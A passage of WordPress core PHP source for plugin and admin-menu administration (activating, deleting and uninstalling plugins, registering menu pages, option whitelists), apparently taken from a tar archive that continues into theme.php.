'active_sitewide_plugins', $network_current ); } /** * Activate multiple plugins. * * When WP_Error is returned, it does not mean that one of the plugins had * errors. It means that one or more of the plugins file path was invalid. * * The execution will be halted as soon as one of the plugins has an error. * * @since 2.6.0 * * @param string|array $plugins * @param string $redirect Redirect to page after successful activation. * @param bool $network_wide Whether to enable the plugin for all sites in the network. * @param bool $silent Prevent calling activation hooks. Default is false. * @return bool|WP_Error True when finished or WP_Error if there were errors during a plugin activation. */ function activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) { if ( !is_array($plugins) ) $plugins = array($plugins); $errors = array(); foreach ( $plugins as $plugin ) { if ( !empty($redirect) ) $redirect = add_query_arg('plugin', $plugin, $redirect); $result = activate_plugin($plugin, $redirect, $network_wide, $silent); if ( is_wp_error($result) ) $errors[$plugin] = $result; } if ( !empty($errors) ) return new WP_Error('plugins_invalid', __('One of the plugins is invalid.'), $errors); return true; } /** * Remove directory and files of a plugin for a single or list of plugin(s). * * If the plugins parameter list is empty, false will be returned. True when * completed. * * @since 2.6.0 * * @param array $plugins List of plugin * @param string $redirect Redirect to page when complete. * @return mixed */ function delete_plugins($plugins, $redirect = '' ) { global $wp_filesystem; if ( empty($plugins) ) return false; $checked = array(); foreach( $plugins as $plugin ) $checked[] = 'checked[]=' . $plugin; ob_start(); $url = wp_nonce_url('plugins.php?action=delete-selected&verify-delete=1&' . implode('&', $checked), 'bulk-plugins'); if ( false === ($credentials = request_filesystem_credentials($url)) ) { $data = ob_get_contents(); ob_end_clean(); if ( ! empty($data) ){ include_once( ABSPATH . 'wp-admin/admin-header.php'); echo $data; include( ABSPATH . 'wp-admin/admin-footer.php'); exit; } return; } if ( ! WP_Filesystem($credentials) ) { request_filesystem_credentials($url, '', true); //Failed to connect, Error and request again $data = ob_get_contents(); ob_end_clean(); if ( ! empty($data) ){ include_once( ABSPATH . 'wp-admin/admin-header.php'); echo $data; include( ABSPATH . 'wp-admin/admin-footer.php'); exit; } return; } if ( ! is_object($wp_filesystem) ) return new WP_Error('fs_unavailable', __('Could not access filesystem.')); if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() ) return new WP_Error('fs_error', __('Filesystem error.'), $wp_filesystem->errors); //Get the base plugin folder $plugins_dir = $wp_filesystem->wp_plugins_dir(); if ( empty($plugins_dir) ) return new WP_Error('fs_no_plugins_dir', __('Unable to locate WordPress Plugin directory.')); $plugins_dir = trailingslashit( $plugins_dir ); $errors = array(); foreach( $plugins as $plugin_file ) { // Run Uninstall hook if ( is_uninstallable_plugin( $plugin_file ) ) uninstall_plugin($plugin_file); $this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin_file) ); // If plugin is in its own directory, recursively delete the directory. if ( strpos($plugin_file, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory separator AND that it's not the root plugin folder $deleted = $wp_filesystem->delete($this_plugin_dir, true); else $deleted = $wp_filesystem->delete($plugins_dir . $plugin_file); if ( ! $deleted ) $errors[] = $plugin_file; } // Remove deleted plugins from the plugin updates list. if ( $current = get_site_transient('update_plugins') ) { // Don't remove the plugins that weren't deleted. $deleted = array_diff( $plugins, $errors ); foreach ( $deleted as $plugin_file ) { unset( $current->response[ $plugin_file ] ); } set_site_transient( 'update_plugins', $current ); } if ( ! empty($errors) ) return new WP_Error('could_not_remove_plugin', sprintf(__('Could not fully remove the plugin(s) %s.'), implode(', ', $errors)) ); return true; } /** * Validate active plugins * * Validate all active plugins, deactivates invalid and * returns an array of deactivated ones. * * @since 2.5.0 * @return array invalid plugins, plugin as key, error as value */ function validate_active_plugins() { $plugins = get_option( 'active_plugins', array() ); // validate vartype: array if ( ! is_array( $plugins ) ) { update_option( 'active_plugins', array() ); $plugins = array(); } if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) { $network_plugins = (array) get_site_option( 'active_sitewide_plugins', array() ); $plugins = array_merge( $plugins, array_keys( $network_plugins ) ); } if ( empty( $plugins ) ) return; $invalid = array(); // invalid plugins get deactivated foreach ( $plugins as $plugin ) { $result = validate_plugin( $plugin ); if ( is_wp_error( $result ) ) { $invalid[$plugin] = $result; deactivate_plugins( $plugin, true ); } } return $invalid; } /** * Validate the plugin path. * * Checks that the file exists and {@link validate_file() is valid file}. * * @since 2.5.0 * * @param string $plugin Plugin Path * @return WP_Error|int 0 on success, WP_Error on failure. */ function validate_plugin($plugin) { if ( validate_file($plugin) ) return new WP_Error('plugin_invalid', __('Invalid plugin path.')); if ( ! file_exists(WP_PLUGIN_DIR . '/' . $plugin) ) return new WP_Error('plugin_not_found', __('Plugin file does not exist.')); $installed_plugins = get_plugins(); if ( ! isset($installed_plugins[$plugin]) ) return new WP_Error('no_plugin_header', __('The plugin does not have a valid header.')); return 0; } /** * Whether the plugin can be uninstalled. * * @since 2.7.0 * * @param string $plugin Plugin path to check. * @return bool Whether plugin can be uninstalled. */ function is_uninstallable_plugin($plugin) { $file = plugin_basename($plugin); $uninstallable_plugins = (array) get_option('uninstall_plugins'); if ( isset( $uninstallable_plugins[$file] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) ) return true; return false; } /** * Uninstall a single plugin. * * Calls the uninstall hook, if it is available. * * @since 2.7.0 * * @param string $plugin Relative plugin path from Plugin Directory. */ function uninstall_plugin($plugin) { $file = plugin_basename($plugin); $uninstallable_plugins = (array) get_option('uninstall_plugins'); if ( file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) ) { if ( isset( $uninstallable_plugins[$file] ) ) { unset($uninstallable_plugins[$file]); update_option('uninstall_plugins', $uninstallable_plugins); } unset($uninstallable_plugins); define('WP_UNINSTALL_PLUGIN', $file); wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . dirname( $file ) ); include WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php'; return true; } if ( isset( $uninstallable_plugins[$file] ) ) { $callable = $uninstallable_plugins[$file]; unset($uninstallable_plugins[$file]); update_option('uninstall_plugins', $uninstallable_plugins); unset($uninstallable_plugins); wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file ); include WP_PLUGIN_DIR . '/' . $file; add_action( 'uninstall_' . $file, $callable ); /** * Fires in uninstall_plugin() once the plugin has been uninstalled. * * The action concatenates the 'uninstall_' prefix with the basename of the * plugin passed to {@see uninstall_plugin()} to create a dynamically-named action. * * @since 2.7.0 */ do_action( 'uninstall_' . $file ); } } // // Menu // /** * Add a top level menu page * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * @param string $icon_url The url to the icon to be used for this menu. * * Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme. * This should begin with 'data:image/svg+xml;base64,'. * * Pass the name of a Dashicons helper class to use a font icon, e.g. 'dashicons-chart-pie'. * * Pass 'none' to leave div.wp-menu-image empty so an icon can be added via CSS. * @param int $position The position in the menu order this one should appear * * @return string The resulting page's hook_suffix */ function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '', $position = null ) { global $menu, $admin_page_hooks, $_registered_pages, $_parent_pages; $menu_slug = plugin_basename( $menu_slug ); $admin_page_hooks[$menu_slug] = sanitize_title( $menu_title ); $hookname = get_plugin_page_hookname( $menu_slug, '' ); if ( !empty( $function ) && !empty( $hookname ) && current_user_can( $capability ) ) add_action( $hookname, $function ); if ( empty($icon_url) ) { $icon_url = 'dashicons-admin-generic'; $icon_class = 'menu-icon-generic '; } else { $icon_url = set_url_scheme( $icon_url ); $icon_class = ''; } $new_menu = array( $menu_title, $capability, $menu_slug, $page_title, 'menu-top ' . $icon_class . $hookname, $hookname, $icon_url ); if ( null === $position ) $menu[] = $new_menu; else $menu[$position] = $new_menu; $_registered_pages[$hookname] = true; // No parent as top level $_parent_pages[$menu_slug] = false; return $hookname; } /** * Add a top level menu page in the 'objects' section * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * @param string $icon_url The url to the icon to be used for this menu * * @return string The resulting page's hook_suffix */ function add_object_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '') { global $_wp_last_object_menu; $_wp_last_object_menu++; return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $_wp_last_object_menu); } /** * Add a top level menu page in the 'utility' section * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * @param string $icon_url The url to the icon to be used for this menu * * @return string The resulting page's hook_suffix */ function add_utility_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '') { global $_wp_last_utility_menu; $_wp_last_utility_menu++; return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $_wp_last_utility_menu); } /** * Add a sub menu page * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $parent_slug The slug name for the parent menu (or the file name of a standard WordPress admin page) * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { global $submenu; global $menu; global $_wp_real_parent_file; global $_wp_submenu_nopriv; global $_registered_pages; global $_parent_pages; $menu_slug = plugin_basename( $menu_slug ); $parent_slug = plugin_basename( $parent_slug); if ( isset( $_wp_real_parent_file[$parent_slug] ) ) $parent_slug = $_wp_real_parent_file[$parent_slug]; if ( !current_user_can( $capability ) ) { $_wp_submenu_nopriv[$parent_slug][$menu_slug] = true; return false; } // If the parent doesn't already have a submenu, add a link to the parent // as the first item in the submenu. If the submenu file is the same as the // parent file someone is trying to link back to the parent manually. In // this case, don't automatically add a link back to avoid duplication. if (!isset( $submenu[$parent_slug] ) && $menu_slug != $parent_slug ) { foreach ( (array)$menu as $parent_menu ) { if ( $parent_menu[2] == $parent_slug && current_user_can( $parent_menu[1] ) ) $submenu[$parent_slug][] = $parent_menu; } } $submenu[$parent_slug][] = array ( $menu_title, $capability, $menu_slug, $page_title ); $hookname = get_plugin_page_hookname( $menu_slug, $parent_slug); if (!empty ( $function ) && !empty ( $hookname )) add_action( $hookname, $function ); $_registered_pages[$hookname] = true; // backwards-compatibility for plugins using add_management page. See wp-admin/admin.php for redirect from edit.php to tools.php if ( 'tools.php' == $parent_slug ) $_registered_pages[get_plugin_page_hookname( $menu_slug, 'edit.php')] = true; // No parent as top level $_parent_pages[$menu_slug] = $parent_slug; return $hookname; } /** * Add sub menu page to the tools main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_management_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'tools.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the options main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_options_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'options-general.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the themes main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_theme_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'themes.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the plugins main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_plugins_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'plugins.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the Users/Profile main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_users_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { if ( current_user_can('edit_users') ) $parent = 'users.php'; else $parent = 'profile.php'; return add_submenu_page( $parent, $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the Dashboard main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_dashboard_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'index.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the posts main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_posts_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'edit.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the media main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_media_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'upload.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the links main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_links_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the pages main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_pages_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'edit.php?post_type=page', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Add sub menu page to the comments main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected * @param string $menu_title The text to be used for the menu * @param string $capability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param callback $function The function to be called to output the content for this page. * * @return string|bool The resulting page's hook_suffix, or false if the user does not have the capability required. */ function add_comments_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) { return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $capability, $menu_slug, $function ); } /** * Remove a top level admin menu * * @since 3.1.0 * * @param string $menu_slug The slug of the menu * @return array|bool The removed menu on success, False if not found */ function remove_menu_page( $menu_slug ) { global $menu; foreach ( $menu as $i => $item ) { if ( $menu_slug == $item[2] ) { unset( $menu[$i] ); return $item; } } return false; } /** * Remove an admin submenu * * @since 3.1.0 * * @param string $menu_slug The slug for the parent menu * @param string $submenu_slug The slug of the submenu * @return array|bool The removed submenu on success, False if not found */ function remove_submenu_page( $menu_slug, $submenu_slug ) { global $submenu; if ( !isset( $submenu[$menu_slug] ) ) return false; foreach ( $submenu[$menu_slug] as $i => $item ) { if ( $submenu_slug == $item[2] ) { unset( $submenu[$menu_slug][$i] ); return $item; } } return false; } /** * Get the url to access a particular menu page based on the slug it was registered with. * * If the slug hasn't been registered properly no url will be returned * * @since 3.0.0 * * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu) * @param bool $echo Whether or not to echo the url - default is true * @return string the url */ function menu_page_url($menu_slug, $echo = true) { global $_parent_pages; if ( isset( $_parent_pages[$menu_slug] ) ) { $parent_slug = $_parent_pages[$menu_slug]; if ( $parent_slug && ! isset( $_parent_pages[$parent_slug] ) ) { $url = admin_url( add_query_arg( 'page', $menu_slug, $parent_slug ) ); } else { $url = admin_url( 'admin.php?page=' . $menu_slug ); } } else { $url = ''; } $url = esc_url($url); if ( $echo ) echo $url; return $url; } // // Pluggable Menu Support -- Private // function get_admin_page_parent( $parent = '' ) { global $parent_file; global $menu; global $submenu; global $pagenow; global $typenow; global $plugin_page; global $_wp_real_parent_file; global $_wp_menu_nopriv; global $_wp_submenu_nopriv; if ( !empty ( $parent ) && 'admin.php' != $parent ) { if ( isset( $_wp_real_parent_file[$parent] ) ) $parent = $_wp_real_parent_file[$parent]; return $parent; } if ( $pagenow == 'admin.php' && isset( $plugin_page ) ) { foreach ( (array)$menu as $parent_menu ) { if ( $parent_menu[2] == $plugin_page ) { $parent_file = $plugin_page; if ( isset( $_wp_real_parent_file[$parent_file] ) ) $parent_file = $_wp_real_parent_file[$parent_file]; return $parent_file; } } if ( isset( $_wp_menu_nopriv[$plugin_page] ) ) { $parent_file = $plugin_page; if ( isset( $_wp_real_parent_file[$parent_file] ) ) $parent_file = $_wp_real_parent_file[$parent_file]; return $parent_file; } } if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) ) { $parent_file = $pagenow; if ( isset( $_wp_real_parent_file[$parent_file] ) ) $parent_file = $_wp_real_parent_file[$parent_file]; return $parent_file; } foreach (array_keys( (array)$submenu ) as $parent) { foreach ( $submenu[$parent] as $submenu_array ) { if ( isset( $_wp_real_parent_file[$parent] ) ) $parent = $_wp_real_parent_file[$parent]; if ( !empty($typenow) && ($submenu_array[2] == "$pagenow?post_type=$typenow") ) { $parent_file = $parent; return $parent; } elseif ( $submenu_array[2] == $pagenow && empty($typenow) && ( empty($parent_file) || false === strpos($parent_file, '?') ) ) { $parent_file = $parent; return $parent; } else if ( isset( $plugin_page ) && ($plugin_page == $submenu_array[2] ) ) { $parent_file = $parent; return $parent; } } } if ( empty($parent_file) ) $parent_file = ''; return ''; } function get_admin_page_title() { global $title; global $menu; global $submenu; global $pagenow; global $plugin_page; global $typenow; if ( ! empty ( $title ) ) return $title; $hook = get_plugin_page_hook( $plugin_page, $pagenow ); $parent = $parent1 = get_admin_page_parent(); if ( empty ( $parent) ) { foreach ( (array)$menu as $menu_array ) { if ( isset( $menu_array[3] ) ) { if ( $menu_array[2] == $pagenow ) { $title = $menu_array[3]; return $menu_array[3]; } else if ( isset( $plugin_page ) && ($plugin_page == $menu_array[2] ) && ($hook == $menu_array[3] ) ) { $title = $menu_array[3]; return $menu_array[3]; } } else { $title = $menu_array[0]; return $title; } } } else { foreach ( array_keys( $submenu ) as $parent ) { foreach ( $submenu[$parent] as $submenu_array ) { if ( isset( $plugin_page ) && ( $plugin_page == $submenu_array[2] ) && ( ( $parent == $pagenow ) || ( $parent == $plugin_page ) || ( $plugin_page == $hook ) || ( $pagenow == 'admin.php' && $parent1 != $submenu_array[2] ) || ( !empty($typenow) && $parent == $pagenow . '?post_type=' . $typenow) ) ) { $title = $submenu_array[3]; return $submenu_array[3]; } if ( $submenu_array[2] != $pagenow || isset( $_GET['page'] ) ) // not the current page continue; if ( isset( $submenu_array[3] ) ) { $title = $submenu_array[3]; return $submenu_array[3]; } else { $title = $submenu_array[0]; return $title; } } } if ( empty ( $title ) ) { foreach ( $menu as $menu_array ) { if ( isset( $plugin_page ) && ( $plugin_page == $menu_array[2] ) && ( $pagenow == 'admin.php' ) && ( $parent1 == $menu_array[2] ) ) { $title = $menu_array[3]; return $menu_array[3]; } } } } return $title; } function get_plugin_page_hook( $plugin_page, $parent_page ) { $hook = get_plugin_page_hookname( $plugin_page, $parent_page ); if ( has_action($hook) ) return $hook; else return null; } function get_plugin_page_hookname( $plugin_page, $parent_page ) { global $admin_page_hooks; $parent = get_admin_page_parent( $parent_page ); $page_type = 'admin'; if ( empty ( $parent_page ) || 'admin.php' == $parent_page || isset( $admin_page_hooks[$plugin_page] ) ) { if ( isset( $admin_page_hooks[$plugin_page] ) ) $page_type = 'toplevel'; else if ( isset( $admin_page_hooks[$parent] )) $page_type = $admin_page_hooks[$parent]; } else if ( isset( $admin_page_hooks[$parent] ) ) { $page_type = $admin_page_hooks[$parent]; } $plugin_name = preg_replace( '!\.php!', '', $plugin_page ); return $page_type . '_page_' . $plugin_name; } function user_can_access_admin_page() { global $pagenow; global $menu; global $submenu; global $_wp_menu_nopriv; global $_wp_submenu_nopriv; global $plugin_page; global $_registered_pages; $parent = get_admin_page_parent(); if ( !isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$parent][$pagenow] ) ) return false; if ( isset( $plugin_page ) ) { if ( isset( $_wp_submenu_nopriv[$parent][$plugin_page] ) ) return false; $hookname = get_plugin_page_hookname($plugin_page, $parent); if ( !isset($_registered_pages[$hookname]) ) return false; } if ( empty( $parent) ) { if ( isset( $_wp_menu_nopriv[$pagenow] ) ) return false; if ( isset( $_wp_submenu_nopriv[$pagenow][$pagenow] ) ) return false; if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) ) return false; if ( isset( $plugin_page ) && isset( $_wp_menu_nopriv[$plugin_page] ) ) return false; foreach (array_keys( $_wp_submenu_nopriv ) as $key ) { if ( isset( $_wp_submenu_nopriv[$key][$pagenow] ) ) return false; if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$key][$plugin_page] ) ) return false; } return true; } if ( isset( $plugin_page ) && ( $plugin_page == $parent ) && isset( $_wp_menu_nopriv[$plugin_page] ) ) return false; if ( isset( $submenu[$parent] ) ) { foreach ( $submenu[$parent] as $submenu_array ) { if ( isset( $plugin_page ) && ( $submenu_array[2] == $plugin_page ) ) { if ( current_user_can( $submenu_array[1] )) return true; else return false; } else if ( $submenu_array[2] == $pagenow ) { if ( current_user_can( $submenu_array[1] )) return true; else return false; } } } foreach ( $menu as $menu_array ) { if ( $menu_array[2] == $parent) { if ( current_user_can( $menu_array[1] )) return true; else return false; } } return true; } /* Whitelist functions */ /** * Register a setting and its sanitization callback * * @since 2.7.0 * * @param string $option_group A settings group name. Should correspond to a whitelisted option key name. * Default whitelisted option key names include "general," "discussion," and "reading," among others. * @param string $option_name The name of an option to sanitize and save. * @param unknown_type $sanitize_callback A callback function that sanitizes the option's value. * @return unknown */ function register_setting( $option_group, $option_name, $sanitize_callback = '' ) { global $new_whitelist_options; if ( 'misc' == $option_group ) { _deprecated_argument( __FUNCTION__, '3.0', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) ); $option_group = 'general'; } if ( 'privacy' == $option_group ) { _deprecated_argument( __FUNCTION__, '3.5', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) ); $option_group = 'reading'; } $new_whitelist_options[ $option_group ][] = $option_name; if ( $sanitize_callback != '' ) add_filter( "sanitize_option_{$option_name}", $sanitize_callback ); } /** * Unregister a setting * * @since 2.7.0 * * @param unknown_type $option_group * @param unknown_type $option_name * @param unknown_type $sanitize_callback * @return unknown */ function unregister_setting( $option_group, $option_name, $sanitize_callback = '' ) { global $new_whitelist_options; if ( 'misc' == $option_group ) { _deprecated_argument( __FUNCTION__, '3.0', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) ); $option_group = 'general'; } if ( 'privacy' == $option_group ) { _deprecated_argument( __FUNCTION__, '3.5', sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) ); $option_group = 'reading'; } $pos = array_search( $option_name, (array) $new_whitelist_options ); if ( $pos !== false ) unset( $new_whitelist_options[ $option_group ][ $pos ] ); if ( $sanitize_callback != '' ) remove_filter( "sanitize_option_{$option_name}", $sanitize_callback ); } /** * {@internal Missing Short Description}} * * @since 2.7.0 * * @param unknown_type $options * @return unknown */ function option_update_filter( $options ) { global $new_whitelist_options; if ( is_array( $new_whitelist_options ) ) $options = add_option_whitelist( $new_whitelist_options, $options ); return $options; } add_filter( 'whitelist_options', 'option_update_filter' ); /** * {@internal Missing Short Description}} * * @since 2.7.0 * * @param unknown_type $new_options * @param unknown_type $options * @return unknown */ function add_option_whitelist( $new_options, $options = '' ) { if ( $options == '' ) global $whitelist_options; else $whitelist_options = $options; foreach ( $new_options as $page => $keys ) { foreach ( $keys as $key ) { if ( !isset($whitelist_options[ $page ]) || !is_array($whitelist_options[ $page ]) ) { $whitelist_options[ $page ] = array(); $whitelist_options[ $page ][] = $key; } else { $pos = array_search( $key, $whitelist_options[ $page ] ); if ( $pos === false ) $whitelist_options[ $page ][] = $key; } } } return $whitelist_options; } /** * {@internal Missing Short Description}} * * @since 2.7.0 * * @param unknown_type $del_options * @param unknown_type $options * @return unknown */ function remove_option_whitelist( $del_options, $options = '' ) { if ( $options == '' ) global $whitelist_options; else $whitelist_options = $options; foreach ( $del_options as $page => $keys ) { foreach ( $keys as $key ) { if ( isset($whitelist_options[ $page ]) && is_array($whitelist_options[ $page ]) ) { $pos = array_search( $key, $whitelist_options[ $page ] ); if ( $pos !== false ) unset( $whitelist_options[ $page ][ $pos ] ); } } } return $whitelist_options; } /** * Output nonce, action, and option_page fields for a settings page. * * @since 2.7.0 * * @param string $option_group A settings group name. This should match the group name used in register_setting(). */ function settings_fields($option_group) { echo "<input type='hidden' name='option_page' value='" . esc_attr($option_group) . "' />"; echo '<input type="hidden" name="action" value="update" />'; wp_nonce_field("$option_group-options"); } /** * Clears the Plugins cache used by get_plugins() and by default, the Plugin Update cache. * * @since 3.7.0 * * @param bool $clear_update_cache Whether to clear the Plugin updates cache */ function wp_clean_plugins_cache( $clear_update_cache = true ) { if ( $clear_update_cache ) delete_site_transient( 'update_plugins' ); wp_cache_delete( 'plugins', 'plugins' ); } theme.php000077700000040661151514577750006416 0ustar00<?php /** * WordPress Theme Administration API * * @package WordPress * @subpackage Administration */ /** * Remove a theme * * @since 2.8.0 * * @param string $stylesheet Stylesheet of the theme to delete * @param string 